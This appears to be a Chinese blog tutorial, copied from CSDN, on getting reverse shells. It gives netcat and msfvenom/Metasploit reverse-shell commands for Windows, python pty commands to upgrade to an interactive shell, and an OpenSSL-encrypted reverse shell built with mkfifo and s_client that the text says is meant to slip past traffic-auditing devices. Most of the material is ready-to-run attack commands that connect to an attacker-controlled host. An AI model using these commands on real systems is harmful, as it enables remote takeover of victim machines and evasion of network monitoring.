admin管理员组

文章数量:1591210

一、Windows下反弹shell

1.nc反弹
(1)我们先在被控制主机下载netcat。netcat下载

(2)cmd下打开下载目录,输入:

nc 192.168.59.131 9999 -e C:\Users\21124\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\System Tools\cmd.exe(本机cmd文件路径)

(3)可以看到shell是反弹回来的,但是可能由于防火墙的原因,控制极其不稳定。


2.msf反弹
(1)使用 msfvenom -l 结合关键字过滤(如cmd/windows/reverse),找出我们可能需要的payload。
(2)使用msfvenom生成一个powershell类型的木马。
(3)开启监听端口。
(4)目标机在cmd下执行生成的powershell脚本,powershell下执行好像反弹不了。可以看到,这里是反弹成功的。

msfvenom -l payloads | grep 'cmd/windows/reverse'
msfvenom -p cmd/windows/reverse_powershell LHOST=192.168.40.146 LPORT=4444
use exploit/multi/handler
show options
set LHOST your-ip
show options(查看是否配置齐全)
run




3.利用CS主机上线。

二、交互式shell与非交互式shell

交互式模式就是在终端上执行,shell等待你的输入,并且立即执行你提交的命令。这种模式被称作交互式是因为shell与用户进行交互。这种模式也是大多数用户非常熟悉的:登录、执行一些命令、退出。当你退出后,shell也终止了。
shell也可以运行在另外一种模式:非交互式模式,以shell script(非交互)方式执行。在这种模式 下,shell不与你进行交互,而是读取存放在文件中的命令,并且执行它们。当它读到文件的结尾EOF,shell也就终止了。
通过上述命令反弹shell得到的shell并不能称为完全交互的shell,通常称之为“哑”shell。
通常存在以下缺点
1.ctrl-c会中断会话;
2.无法正常使用vim等文本编辑器;
3.没有向上箭头使用历史;
4.无法执行交互式命令;
5.无法查看错误输出;
6.无法使用 tab 命令补全;
7.无法操控jobcontrol。
**因此有必要去获取一个完全交互的shell,**方法就是在shell 中执行python,使用pty模块,创建一个原生的终端。下面提供两条命令,主要是因为有的机器可能是python2,有的是3,我这里是python2。

python3 -c 'import pty; pty.spawn("/bin/bash")'
python -c 'import pty; pty.spawn("/bin/bash")'



可以看到我们通过nc反弹得到的shell并不是一个完全交互的shell,输入的cat、ifconfig命令是无效的;在我们通过python得到的完全交互式shell可以实现对被控制主机的任意操作。

三、流量加密

部分防护设备会对内外网传输流量进行审查,反弹shell执行命令都是以明文进行传输的,很容易被查杀。因此需要将原始流量使用 openssl 加密,绕过流量审计设备。
1、首先kali上生成SSL证书的公钥/私钥对,信息懒得填,一直回车即可。

openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes

2、kali使用 OpenSSL 监听一个端口。

openssl s_server -quiet -key key.pem -cert cert.pem -port 8888

3、目标主机执行反弹加密shell。

mkfifo /tmp/s; /bin/bash -i < /tmp/s 2>&1 | openssl s_client -quiet -connect ip:port > /tmp/s; rm /tmp/s


我们可以通过wireshark查看流量是否被加密,由于我不会使用wireshark,就先留着吧,以后来填坑。

原文链接:https://blog.csdn/weixin_44288604/article/details/111740527

本文标签: 方式WindowsShell